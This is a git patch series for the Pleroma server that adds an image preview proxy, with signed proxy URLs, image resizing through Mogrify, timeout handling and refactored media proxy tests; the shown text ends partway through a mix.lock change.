From bbdad8556861c60ae1f526f63de9c5857c4ad547 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Fri, 8 May 2020 23:06:47 +0300 Subject: Initial implementation of image preview proxy. Media proxy tests refactoring. --- config/config.exs | 5 + lib/pleroma/helpers/mogrify_helper.ex | 25 ++++ lib/pleroma/web/mastodon_api/views/status_view.ex | 3 +- lib/pleroma/web/media_proxy/media_proxy.ex | 53 +++++++- .../web/media_proxy/media_proxy_controller.ex | 76 ++++++++++-- lib/pleroma/web/router.ex | 2 + test/web/media_proxy/media_proxy_test.exs | 133 ++++++++------------- 7 files changed, 197 insertions(+), 100 deletions(-) create mode 100644 lib/pleroma/helpers/mogrify_helper.ex diff --git a/config/config.exs b/config/config.exs index e703c1632..526901f83 100644 --- a/config/config.exs +++ b/config/config.exs @@ -388,6 +388,11 @@ ], whitelist: [] +config :pleroma, :media_preview_proxy, + enabled: false, + limit_dimensions: "400x200", + max_body_length: 25 * 1_048_576 + config :pleroma, :chat, enabled: true config :phoenix, :format_encoders, json: Jason diff --git a/lib/pleroma/helpers/mogrify_helper.ex b/lib/pleroma/helpers/mogrify_helper.ex new file mode 100644 index 000000000..67edb35c3 --- /dev/null +++ b/lib/pleroma/helpers/mogrify_helper.ex @@ -0,0 +1,25 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Helpers.MogrifyHelper do + @moduledoc """ + Handles common Mogrify operations. + """ + + @spec store_as_temporary_file(String.t(), binary()) :: {:ok, String.t()} | {:error, atom()} + @doc "Stores binary content fetched from specified URL as a temporary file." + def store_as_temporary_file(url, body) do + path = Mogrify.temporary_path_for(%{path: url}) + with :ok <- File.write(path, body), do: {:ok, path} + end + + @spec store_as_temporary_file(String.t(), String.t()) :: Mogrify.Image.t() | any() + @doc "Modifies file at specified path by resizing to specified limit dimensions." + def in_place_resize_to_limit(path, resize_dimensions) do + path + |> Mogrify.open() + |> Mogrify.resize_to_limit(resize_dimensions) + |> Mogrify.save(in_place: true) + end +end diff --git a/lib/pleroma/web/mastodon_api/views/status_view.ex b/lib/pleroma/web/mastodon_api/views/status_view.ex index 24167f66f..2a206f743 100644 --- a/lib/pleroma/web/mastodon_api/views/status_view.ex +++ b/lib/pleroma/web/mastodon_api/views/status_view.ex @@ -419,6 +419,7 @@ def render("attachment.json", %{attachment: attachment}) do [attachment_url | _] = attachment["url"] media_type = attachment_url["mediaType"] || attachment_url["mimeType"] || "image" href = attachment_url["href"] |> MediaProxy.url() + href_preview = attachment_url["href"] |> MediaProxy.preview_url() type = cond do @@ -434,7 +435,7 @@ def render("attachment.json", %{attachment: attachment}) do id: to_string(attachment["id"] || hash_id), url: href, remote_url: href, - preview_url: href, + preview_url: href_preview, text_url: href, type: type, description: attachment["name"], diff --git a/lib/pleroma/web/media_proxy/media_proxy.ex b/lib/pleroma/web/media_proxy/media_proxy.ex index b2b524524..f4791c758 100644 --- a/lib/pleroma/web/media_proxy/media_proxy.ex +++ b/lib/pleroma/web/media_proxy/media_proxy.ex @@ -20,6 +20,14 @@ def url(url) do end end + def preview_url(url) do + if disabled?() or whitelisted?(url) do + url + else + encode_preview_url(url) + end + end + defp disabled?, do: !Config.get([:media_proxy, :enabled], false) defp local?(url), do: String.starts_with?(url, Pleroma.Web.base_url()) @@ -43,17 +51,29 @@ defp whitelisted?(url) do end) end - def encode_url(url) do + defp base64_sig64(url) do base64 = Base.url_encode64(url, @base64_opts) sig64 = base64 - |> signed_url + |> signed_url() |> Base.url_encode64(@base64_opts) + {base64, sig64} + end + + def encode_url(url) do + {base64, sig64} = base64_sig64(url) + build_url(sig64, base64, filename(url)) end + def encode_preview_url(url) do + {base64, sig64} = base64_sig64(url) + + build_preview_url(sig64, base64, filename(url)) + end + def decode_url(sig, url) do with {:ok, sig} <- Base.url_decode64(sig, @base64_opts), signature when signature == sig <- signed_url(url) do @@ -71,10 +91,10 @@ def filename(url_or_path) do if path = URI.parse(url_or_path).path, do: Path.basename(path) end - def build_url(sig_base64, url_base64, filename \\ nil) do + defp proxy_url(path, sig_base64, url_base64, filename) do [ Pleroma.Config.get([:media_proxy, :base_url], Web.base_url()), - "proxy", + path, sig_base64, url_base64, filename @@ -82,4 +102,29 @@ def build_url(sig_base64, url_base64, filename \\ nil) do |> Enum.filter(& &1) |> Path.join() end + + def build_url(sig_base64, url_base64, filename \\ nil) do + proxy_url("proxy", sig_base64, url_base64, filename) + end + + def build_preview_url(sig_base64, url_base64, filename \\ nil) do + proxy_url("proxy/preview", sig_base64, url_base64, filename) + end + + def filename_matches(%{"filename" => _} = _, path, url) do + filename = filename(url) + + if filename && not basename_matches?(path, filename) do + {:wrong_filename, filename} + else + :ok + end + end + + def filename_matches(_, _, _), do: :ok + + defp basename_matches?(path, filename) do + basename = Path.basename(path) + basename == filename or URI.decode(basename) == filename or URI.encode(basename) == filename + end end diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 4657a4383..fe3f61c18 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -5,19 +5,21 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyController do use Pleroma.Web, :controller + alias Pleroma.Config + alias Pleroma.Helpers.MogrifyHelper alias Pleroma.ReverseProxy alias Pleroma.Web.MediaProxy @default_proxy_opts [max_body_length: 25 * 1_048_576, http: [follow_redirect: true]] def remote(conn, %{"sig" => sig64, "url" => url64} = params) do - with config <- Pleroma.Config.get([:media_proxy], []), - true <- Keyword.get(config, :enabled, false), + with config <- Config.get([:media_proxy], []), + {_, true} <- {:enabled, Keyword.get(config, :enabled, false)}, {:ok, url} <- MediaProxy.decode_url(sig64, url64), - :ok <- filename_matches(params, conn.request_path, url) do + :ok <- MediaProxy.filename_matches(params, conn.request_path, url) do ReverseProxy.call(conn, url, Keyword.get(config, :proxy_opts, @default_proxy_opts)) else - false -> + {:enabled, false} -> send_resp(conn, 404, Plug.Conn.Status.reason_phrase(404)) {:error, :invalid_signature} -> @@ -28,20 +30,68 @@ def remote(conn, %{"sig" => sig64, "url" => url64} = params) do end end - def filename_matches(%{"filename" => _} = _, path, url) do - filename = MediaProxy.filename(url) + def preview(conn, %{"sig" => sig64, "url" => url64} = params) do + with {_, true} <- {:enabled, Config.get([:media_preview_proxy, :enabled], false)}, + {:ok, url} <- MediaProxy.decode_url(sig64, url64), + :ok <- MediaProxy.filename_matches(params, conn.request_path, url) do + handle_preview(conn, url) + else + {:enabled, false} -> + send_resp(conn, 404, Plug.Conn.Status.reason_phrase(404)) + + {:error, :invalid_signature} -> + send_resp(conn, 403, Plug.Conn.Status.reason_phrase(403)) + + {:wrong_filename, filename} -> + redirect(conn, external: MediaProxy.build_preview_url(sig64, url64, filename)) + end + end - if filename && does_not_match(path, filename) do - {:wrong_filename, filename} + defp handle_preview(conn, url) do + with {:ok, %{status: status} = head_response} when status in 200..299 <- Tesla.head(url), + {_, true} <- {:acceptable_content_length, acceptable_body_length?(head_response)} do + content_type = Tesla.get_header(head_response, "content-type") + handle_preview(content_type, conn, url) else - :ok + {_, %{status: status}} -> + send_resp(conn, :failed_dependency, "Can't fetch HTTP headers (HTTP #{status}).") + + {:acceptable_content_length, false} -> + send_resp(conn, :unprocessable_entity, "Source file size exceeds limit.") end end - def filename_matches(_, _, _), do: :ok + defp handle_preview("image/" <> _, %{params: params} = conn, url) do + with {:ok, %{status: status, body: body}} when status in 200..299 <- Tesla.get(url), + {:ok, path} <- MogrifyHelper.store_as_temporary_file(url, body), + resize_dimensions <- + Map.get( + params, + "limit_dimensions", + Config.get([:media_preview_proxy, :limit_dimensions]) + ), + %Mogrify.Image{} <- MogrifyHelper.in_place_resize_to_limit(path, resize_dimensions) do + send_file(conn, 200, path) + else + {_, %{status: _}} -> + send_resp(conn, :failed_dependency, "Can't fetch the image.") + + _ -> + send_resp(conn, :failed_dependency, "Can't handle image preview.") + end + end + + defp handle_preview(content_type, conn, _url) do + send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") + end + + defp acceptable_body_length?(head_response) do + max_body_length = Config.get([:media_preview_proxy, :max_body_length], nil) + content_length = Tesla.get_header(head_response, "content-length") + content_length = with {int, _} <- Integer.parse(content_length), do: int - defp does_not_match(path, filename) do - basename = Path.basename(path) - basename != filename and URI.decode(basename) != filename and URI.encode(basename) != filename + content_length == :error or + max_body_length in [nil, :infinity] or + content_length <= max_body_length end end diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 7a171f9fb..6fb47029a 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -663,6 +663,8 @@ defmodule Pleroma.Web.Router do end scope "/proxy/", Pleroma.Web.MediaProxy do + get("/preview/:sig/:url", MediaProxyController, :preview) + get("/preview/:sig/:url/:filename", MediaProxyController, :preview) get("/:sig/:url", MediaProxyController, :remote) get("/:sig/:url/:filename", MediaProxyController, :remote) end diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs index 69c2d5dae..cad0acd30 100644 --- a/test/web/media_proxy/media_proxy_test.exs +++ b/test/web/media_proxy/media_proxy_test.exs @@ -5,42 +5,44 @@ defmodule Pleroma.Web.MediaProxyTest do use ExUnit.Case use Pleroma.Tests.Helpers - import Pleroma.Web.MediaProxy - alias Pleroma.Web.MediaProxy.MediaProxyController - setup do: clear_config([:media_proxy, :enabled]) - setup do: clear_config(Pleroma.Upload) + alias Pleroma.Config + alias Pleroma.Web.Endpoint + alias Pleroma.Web.MediaProxy + + defp decode_result(encoded) do + [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") + {:ok, decoded} = MediaProxy.decode_url(sig, base64) + decoded + end describe "when enabled" do - setup do - Pleroma.Config.put([:media_proxy, :enabled], true) - :ok - end + setup do: clear_config([:media_proxy, :enabled], true) test "ignores invalid url" do - assert url(nil) == nil - assert url("") == nil + assert MediaProxy.url(nil) == nil + assert MediaProxy.url("") == nil end test "ignores relative url" do - assert url("/local") == "/local" - assert url("/") == "/" + assert MediaProxy.url("/local") == "/local" + assert MediaProxy.url("/") == "/" end test "ignores local url" do - local_url = Pleroma.Web.Endpoint.url() <> "/hello" - local_root = Pleroma.Web.Endpoint.url() - assert url(local_url) == local_url - assert url(local_root) == local_root + local_url = Endpoint.url() <> "/hello" + local_root = Endpoint.url() + assert MediaProxy.url(local_url) == local_url + assert MediaProxy.url(local_root) == local_root end test "encodes and decodes URL" do url = "https://pleroma.soykaf.com/static/logo.png" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.starts_with?( encoded, - Pleroma.Config.get([:media_proxy, :base_url], Pleroma.Web.base_url()) + Config.get([:media_proxy, :base_url], Pleroma.Web.base_url()) ) assert String.ends_with?(encoded, "/logo.png") @@ -50,62 +52,59 @@ test "encodes and decodes URL" do test "encodes and decodes URL without a path" do url = "https://pleroma.soykaf.com" - encoded = url(url) + encoded = MediaProxy.url(url) assert decode_result(encoded) == url end test "encodes and decodes URL without an extension" do url = "https://pleroma.soykaf.com/path/" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.ends_with?(encoded, "/path") assert decode_result(encoded) == url end test "encodes and decodes URL and ignores query params for the path" do url = "https://pleroma.soykaf.com/static/logo.png?93939393939&bunny=true" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.ends_with?(encoded, "/logo.png") assert decode_result(encoded) == url end test "validates signature" do - secret_key_base = Pleroma.Config.get([Pleroma.Web.Endpoint, :secret_key_base]) - - on_exit(fn -> - Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], secret_key_base) - end) + secret_key_base = Config.get([Endpoint, :secret_key_base]) + clear_config([Endpoint, :secret_key_base], secret_key_base) - encoded = url("https://pleroma.social") + encoded = MediaProxy.url("https://pleroma.social") - Pleroma.Config.put( - [Pleroma.Web.Endpoint, :secret_key_base], + Config.put( + [Endpoint, :secret_key_base], "00000000000000000000000000000000000000000000000" ) [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - assert decode_url(sig, base64) == {:error, :invalid_signature} + assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} end - test "filename_matches preserves the encoded or decoded path" do - assert MediaProxyController.filename_matches( + test "`filename_matches/_` preserves the encoded or decoded path" do + assert MediaProxy.filename_matches( %{"filename" => "/Hello world.jpg"}, "/Hello world.jpg", "http://pleroma.social/Hello world.jpg" ) == :ok - assert MediaProxyController.filename_matches( + assert MediaProxy.filename_matches( %{"filename" => "/Hello%20world.jpg"}, "/Hello%20world.jpg", "http://pleroma.social/Hello%20world.jpg" ) == :ok - assert MediaProxyController.filename_matches( + assert MediaProxy.filename_matches( %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg"}, "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" ) == :ok - assert MediaProxyController.filename_matches( + assert MediaProxy.filename_matches( %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jp"}, "/my%2Flong%2Furl%2F2019%2F07%2FS.jp", "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" @@ -116,7 +115,7 @@ test "encoded url are tried to match for proxy as `conn.request_path` encodes th # conn.request_path will return encoded url request_path = "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg" - assert MediaProxyController.filename_matches( + assert MediaProxy.filename_matches( true, request_path, "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg" @@ -124,20 +123,12 @@ test "encoded url are tried to match for proxy as `conn.request_path` encodes th end test "uses the configured base_url" do - base_url = Pleroma.Config.get([:media_proxy, :base_url]) - - if base_url do - on_exit(fn -> - Pleroma.Config.put([:media_proxy, :base_url], base_url) - end) - end - - Pleroma.Config.put([:media_proxy, :base_url], "https://cache.pleroma.social") + clear_config([:media_proxy, :base_url], "https://cache.pleroma.social") url = "https://pleroma.soykaf.com/static/logo.png" - encoded = url(url) + encoded = MediaProxy.url(url) - assert String.starts_with?(encoded, Pleroma.Config.get([:media_proxy, :base_url])) + assert String.starts_with?(encoded, Config.get([:media_proxy, :base_url])) end # Some sites expect ASCII encoded characters in the URL to be preserved even if @@ -148,7 +139,7 @@ test "preserve ASCII encoding" do url = "https://pleroma.com/%20/%21/%22/%23/%24/%25/%26/%27/%28/%29/%2A/%2B/%2C/%2D/%2E/%2F/%30/%31/%32/%33/%34/%35/%36/%37/%38/%39/%3A/%3B/%3C/%3D/%3E/%3F/%40/%41/%42/%43/%44/%45/%46/%47/%48/%49/%4A/%4B/%4C/%4D/%4E/%4F/%50/%51/%52/%53/%54/%55/%56/%57/%58/%59/%5A/%5B/%5C/%5D/%5E/%5F/%60/%61/%62/%63/%64/%65/%66/%67/%68/%69/%6A/%6B/%6C/%6D/%6E/%6F/%70/%71/%72/%73/%74/%75/%76/%77/%78/%79/%7A/%7B/%7C/%7D/%7E/%7F/%80/%81/%82/%83/%84/%85/%86/%87/%88/%89/%8A/%8B/%8C/%8D/%8E/%8F/%90/%91/%92/%93/%94/%95/%96/%97/%98/%99/%9A/%9B/%9C/%9D/%9E/%9F/%C2%A0/%A1/%A2/%A3/%A4/%A5/%A6/%A7/%A8/%A9/%AA/%AB/%AC/%C2%AD/%AE/%AF/%B0/%B1/%B2/%B3/%B4/%B5/%B6/%B7/%B8/%B9/%BA/%BB/%BC/%BD/%BE/%BF/%C0/%C1/%C2/%C3/%C4/%C5/%C6/%C7/%C8/%C9/%CA/%CB/%CC/%CD/%CE/%CF/%D0/%D1/%D2/%D3/%D4/%D5/%D6/%D7/%D8/%D9/%DA/%DB/%DC/%DD/%DE/%DF/%E0/%E1/%E2/%E3/%E4/%E5/%E6/%E7/%E8/%E9/%EA/%EB/%EC/%ED/%EE/%EF/%F0/%F1/%F2/%F3/%F4/%F5/%F6/%F7/%F8/%F9/%FA/%FB/%FC/%FD/%FE/%FF" - encoded = url(url) + encoded = MediaProxy.url(url) assert decode_result(encoded) == url end @@ -159,77 +150,55 @@ test "preserve non-unicode characters per RFC3986" do url = "https://pleroma.com/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890-._~:/?#[]@!$&'()*+,;=|^`{}" - encoded = url(url) + encoded = MediaProxy.url(url) assert decode_result(encoded) == url end test "preserve unicode characters" do url = "https://ko.wikipedia.org/wiki/위키백과:대문" - encoded = url(url) + encoded = MediaProxy.url(url) assert decode_result(encoded) == url end end describe "when disabled" do - setup do - enabled = Pleroma.Config.get([:media_proxy, :enabled]) - - if enabled do - Pleroma.Config.put([:media_proxy, :enabled], false) - - on_exit(fn -> - Pleroma.Config.put([:media_proxy, :enabled], enabled) - :ok - end) - end - - :ok - end + setup do: clear_config([:media_proxy, :enabled], false) test "does not encode remote urls" do - assert url("https://google.fr") == "https://google.fr" + assert MediaProxy.url("https://google.fr") == "https://google.fr" end end - defp decode_result(encoded) do - [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - {:ok, decoded} = decode_url(sig, base64) - decoded - end - describe "whitelist" do - setup do - Pleroma.Config.put([:media_proxy, :enabled], true) - :ok - end + setup do: clear_config([:media_proxy, :enabled], true) test "mediaproxy whitelist" do - Pleroma.Config.put([:media_proxy, :whitelist], ["google.com", "feld.me"]) + clear_config([:media_proxy, :whitelist], ["google.com", "feld.me"]) url = "https://feld.me/foo.png" - unencoded = url(url) + unencoded = MediaProxy.url(url) assert unencoded == url end test "does not change whitelisted urls" do - Pleroma.Config.put([:media_proxy, :whitelist], ["mycdn.akamai.com"]) - Pleroma.Config.put([:media_proxy, :base_url], "https://cache.pleroma.social") + clear_config([:media_proxy, :whitelist], ["mycdn.akamai.com"]) + clear_config([:media_proxy, :base_url], "https://cache.pleroma.social") media_url = "https://mycdn.akamai.com" url = "#{media_url}/static/logo.png" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.starts_with?(encoded, media_url) end test "ensure Pleroma.Upload base_url is always whitelisted" do media_url = "https://media.pleroma.social" - Pleroma.Config.put([Pleroma.Upload, :base_url], media_url) + clear_config([Pleroma.Upload, :base_url], media_url) url = "#{media_url}/static/logo.png" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.starts_with?(encoded, media_url) end -- cgit v1.2.3 From 1b23acf164ebc4fde3fe1e4fdca6e11b7caa90ef Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Mon, 11 May 2020 23:21:53 +0300 Subject: [#2497] Media preview proxy for images: fixes, tweaks, refactoring, tests adjustments. --- config/config.exs | 8 ++- lib/pleroma/reverse_proxy/reverse_proxy.ex | 4 ++ lib/pleroma/web/media_proxy/media_proxy.ex | 33 +++++++---- .../web/media_proxy/media_proxy_controller.ex | 62 ++++++++++++-------- mix.exs | 1 + mix.lock | 2 + test/web/media_proxy/media_proxy_test.exs | 66 +++++++++++++++------- 7 files changed, 119 insertions(+), 57 deletions(-) diff --git a/config/config.exs b/config/config.exs index 526901f83..0f92b1ef9 100644 --- a/config/config.exs +++ b/config/config.exs @@ -381,6 +381,8 @@ proxy_opts: [ redirect_on_failure: false, max_body_length: 25 * 1_048_576, + # Note: max_read_duration defaults to Pleroma.ReverseProxy.max_read_duration_default/1 + max_read_duration: 30_000, http: [ follow_redirect: true, pool: :media @@ -388,10 +390,14 @@ ], whitelist: [] +# Note: media preview proxy depends on media proxy to be enabled config :pleroma, :media_preview_proxy, enabled: false, limit_dimensions: "400x200", - max_body_length: 25 * 1_048_576 + proxy_opts: [ + head_request_max_read_duration: 5_000, + max_read_duration: 10_000 + ] config :pleroma, :chat, enabled: true diff --git a/lib/pleroma/reverse_proxy/reverse_proxy.ex b/lib/pleroma/reverse_proxy/reverse_proxy.ex index 4bbeb493c..aeaf9bd39 100644 --- a/lib/pleroma/reverse_proxy/reverse_proxy.ex +++ b/lib/pleroma/reverse_proxy/reverse_proxy.ex @@ -16,6 +16,8 @@ defmodule Pleroma.ReverseProxy do @failed_request_ttl :timer.seconds(60) @methods ~w(GET HEAD) + def max_read_duration_default, do: @max_read_duration + @moduledoc """ A reverse proxy. @@ -370,6 +372,8 @@ defp body_size_constraint(size, limit) when is_integer(limit) and limit > 0 and defp body_size_constraint(_, _), do: :ok + defp check_read_duration(nil = _duration, max), do: check_read_duration(@max_read_duration, max) + defp check_read_duration(duration, max) when is_integer(duration) and is_integer(max) and max > 0 do if duration > max do diff --git a/lib/pleroma/web/media_proxy/media_proxy.ex b/lib/pleroma/web/media_proxy/media_proxy.ex index f4791c758..4e01c14e4 100644 --- a/lib/pleroma/web/media_proxy/media_proxy.ex +++ b/lib/pleroma/web/media_proxy/media_proxy.ex @@ -13,26 +13,32 @@ def url(url) when is_nil(url) or url == "", do: nil def url("/" <> _ = url), do: url def url(url) do - if disabled?() or local?(url) or whitelisted?(url) do + if not enabled?() or local?(url) or whitelisted?(url) do url else encode_url(url) end end + # Note: routing all URLs to preview handler (even local and whitelisted). + # Preview handler will call url/1 on decoded URLs, and applicable ones will detour media proxy. def preview_url(url) do - if disabled?() or whitelisted?(url) do - url - else + if preview_enabled?() do encode_preview_url(url) + else + url end end - defp disabled?, do: !Config.get([:media_proxy, :enabled], false) + def enabled?, do: Config.get([:media_proxy, :enabled], false) - defp local?(url), do: String.starts_with?(url, Pleroma.Web.base_url()) + # Note: media proxy must be enabled for media preview proxy in order to load all + # non-local non-whitelisted URLs through it and be sure that body size constraint is preserved. + def preview_enabled?, do: enabled?() and Config.get([:media_preview_proxy, :enabled], false) - defp whitelisted?(url) do + def local?(url), do: String.starts_with?(url, Pleroma.Web.base_url()) + + def whitelisted?(url) do %{host: domain} = URI.parse(url) mediaproxy_whitelist = Config.get([:media_proxy, :whitelist]) @@ -111,17 +117,24 @@ def build_preview_url(sig_base64, url_base64, filename \\ nil) do proxy_url("proxy/preview", sig_base64, url_base64, filename) end - def filename_matches(%{"filename" => _} = _, path, url) do + def verify_request_path_and_url( + %Plug.Conn{params: %{"filename" => _}, request_path: request_path}, + url + ) do + verify_request_path_and_url(request_path, url) + end + + def verify_request_path_and_url(request_path, url) when is_binary(request_path) do filename = filename(url) - if filename && not basename_matches?(path, filename) do + if filename && not basename_matches?(request_path, filename) do {:wrong_filename, filename} else :ok end end - def filename_matches(_, _, _), do: :ok + def verify_request_path_and_url(_, _), do: :ok defp basename_matches?(path, filename) do basename = Path.basename(path) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index fe3f61c18..157365e08 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -10,14 +10,12 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyController do alias Pleroma.ReverseProxy alias Pleroma.Web.MediaProxy - @default_proxy_opts [max_body_length: 25 * 1_048_576, http: [follow_redirect: true]] - - def remote(conn, %{"sig" => sig64, "url" => url64} = params) do - with config <- Config.get([:media_proxy], []), - {_, true} <- {:enabled, Keyword.get(config, :enabled, false)}, + def remote(conn, %{"sig" => sig64, "url" => url64}) do + with {_, true} <- {:enabled, MediaProxy.enabled?()}, {:ok, url} <- MediaProxy.decode_url(sig64, url64), - :ok <- MediaProxy.filename_matches(params, conn.request_path, url) do - ReverseProxy.call(conn, url, Keyword.get(config, :proxy_opts, @default_proxy_opts)) + :ok <- MediaProxy.verify_request_path_and_url(conn, url) do + proxy_opts = Config.get([:media_proxy, :proxy_opts], []) + ReverseProxy.call(conn, url, proxy_opts) else {:enabled, false} -> send_resp(conn, 404, Plug.Conn.Status.reason_phrase(404)) @@ -30,10 +28,10 @@ def remote(conn, %{"sig" => sig64, "url" => url64} = params) do end end - def preview(conn, %{"sig" => sig64, "url" => url64} = params) do - with {_, true} <- {:enabled, Config.get([:media_preview_proxy, :enabled], false)}, + def preview(conn, %{"sig" => sig64, "url" => url64}) do + with {_, true} <- {:enabled, MediaProxy.preview_enabled?()}, {:ok, url} <- MediaProxy.decode_url(sig64, url64), - :ok <- MediaProxy.filename_matches(params, conn.request_path, url) do + :ok <- MediaProxy.verify_request_path_and_url(conn, url) do handle_preview(conn, url) else {:enabled, false} -> @@ -48,21 +46,27 @@ def preview(conn, %{"sig" => sig64, "url" => url64} = params) do end defp handle_preview(conn, url) do - with {:ok, %{status: status} = head_response} when status in 200..299 <- Tesla.head(url), - {_, true} <- {:acceptable_content_length, acceptable_body_length?(head_response)} do + with {:ok, %{status: status} = head_response} when status in 200..299 <- + Tesla.head(url, opts: [adapter: [timeout: preview_head_request_timeout()]]) do content_type = Tesla.get_header(head_response, "content-type") handle_preview(content_type, conn, url) else {_, %{status: status}} -> send_resp(conn, :failed_dependency, "Can't fetch HTTP headers (HTTP #{status}).") - {:acceptable_content_length, false} -> - send_resp(conn, :unprocessable_entity, "Source file size exceeds limit.") + {:error, :recv_response_timeout} -> + send_resp(conn, :failed_dependency, "HEAD request timeout.") + + _ -> + send_resp(conn, :failed_dependency, "Can't fetch HTTP headers.") end end - defp handle_preview("image/" <> _, %{params: params} = conn, url) do - with {:ok, %{status: status, body: body}} when status in 200..299 <- Tesla.get(url), + defp handle_preview("image/" <> _ = content_type, %{params: params} = conn, url) do + with {:ok, %{status: status, body: body}} when status in 200..299 <- + url + |> MediaProxy.url() + |> Tesla.get(opts: [adapter: [timeout: preview_timeout()]]), {:ok, path} <- MogrifyHelper.store_as_temporary_file(url, body), resize_dimensions <- Map.get( @@ -70,12 +74,19 @@ defp handle_preview("image/" <> _, %{params: params} = conn, url) do "limit_dimensions", Config.get([:media_preview_proxy, :limit_dimensions]) ), - %Mogrify.Image{} <- MogrifyHelper.in_place_resize_to_limit(path, resize_dimensions) do - send_file(conn, 200, path) + %Mogrify.Image{} <- MogrifyHelper.in_place_resize_to_limit(path, resize_dimensions), + {:ok, image_binary} <- File.read(path), + _ <- File.rm(path) do + conn + |> put_resp_header("content-type", content_type) + |> send_resp(200, image_binary) else {_, %{status: _}} -> send_resp(conn, :failed_dependency, "Can't fetch the image.") + {:error, :recv_response_timeout} -> + send_resp(conn, :failed_dependency, "Downstream timeout.") + _ -> send_resp(conn, :failed_dependency, "Can't handle image preview.") end @@ -85,13 +96,14 @@ defp handle_preview(content_type, conn, _url) do send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") end - defp acceptable_body_length?(head_response) do - max_body_length = Config.get([:media_preview_proxy, :max_body_length], nil) - content_length = Tesla.get_header(head_response, "content-length") - content_length = with {int, _} <- Integer.parse(content_length), do: int + defp preview_head_request_timeout do + Config.get([:media_preview_proxy, :proxy_opts, :head_request_max_read_duration]) || + preview_timeout() + end - content_length == :error or - max_body_length in [nil, :infinity] or - content_length <= max_body_length + defp preview_timeout do + Config.get([:media_preview_proxy, :proxy_opts, :max_read_duration]) || + Config.get([:media_proxy, :proxy_opts, :max_read_duration]) || + ReverseProxy.max_read_duration_default() end end diff --git a/mix.exs b/mix.exs index 6d65e18d4..a9c4ad2e3 100644 --- a/mix.exs +++ b/mix.exs @@ -139,6 +139,7 @@ defp deps do github: "ninenines/gun", ref: "e1a69b36b180a574c0ac314ced9613fdd52312cc", override: true}, {:jason, "~> 1.0"}, {:mogrify, "~> 0.6.1"}, + {:eimp, ">= 0.0.0"}, {:ex_aws, "~> 2.1"}, {:ex_aws_s3, "~> 2.0"}, {:sweet_xml, "~> 0.6.6"}, diff --git a/mix.lock b/mix.lock index c400202b7..ede7b0ada 100644 --- a/mix.lock +++ b/mix.lock @@ -29,6 +29,7 @@ "ecto": {:hex, :ecto, "3.4.0", "a7a83ab8359bf816ce729e5e65981ce25b9fc5adfc89c2ea3980f4fed0bfd7c1", [:mix], [{:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "5eed18252f5b5bbadec56a24112b531343507dbe046273133176b12190ce19cc"}, "ecto_enum": {:hex, :ecto_enum, "1.4.0", "d14b00e04b974afc69c251632d1e49594d899067ee2b376277efd8233027aec8", [:mix], [{:ecto, ">= 3.0.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:ecto_sql, "> 3.0.0", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:mariaex, ">= 0.0.0", [hex: :mariaex, repo: "hexpm", optional: true]}, {:postgrex, ">= 0.0.0", [hex: :postgrex, repo: "hexpm", optional: true]}], "hexpm", "8fb55c087181c2b15eee406519dc22578fa60dd82c088be376d0010172764ee4"}, "ecto_sql": {:hex, :ecto_sql, "3.3.4", "aa18af12eb875fbcda2f75e608b3bd534ebf020fc4f6448e4672fcdcbb081244", [:mix], [{:db_connection, "~> 2.2", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.4 or ~> 3.3.3", [hex: :ecto, repo: "hexpm", optional: false]}, {:myxql, "~> 0.3.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.15.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "5eccbdbf92e3c6f213007a82d5dbba4cd9bb659d1a21331f89f408e4c0efd7a8"}, + "eimp": {:hex, :eimp, "1.0.14", "fc297f0c7e2700457a95a60c7010a5f1dcb768a083b6d53f49cd94ab95a28f22", [:rebar3], [{:p1_utils, "1.0.18", [hex: :p1_utils, repo: "hexpm", 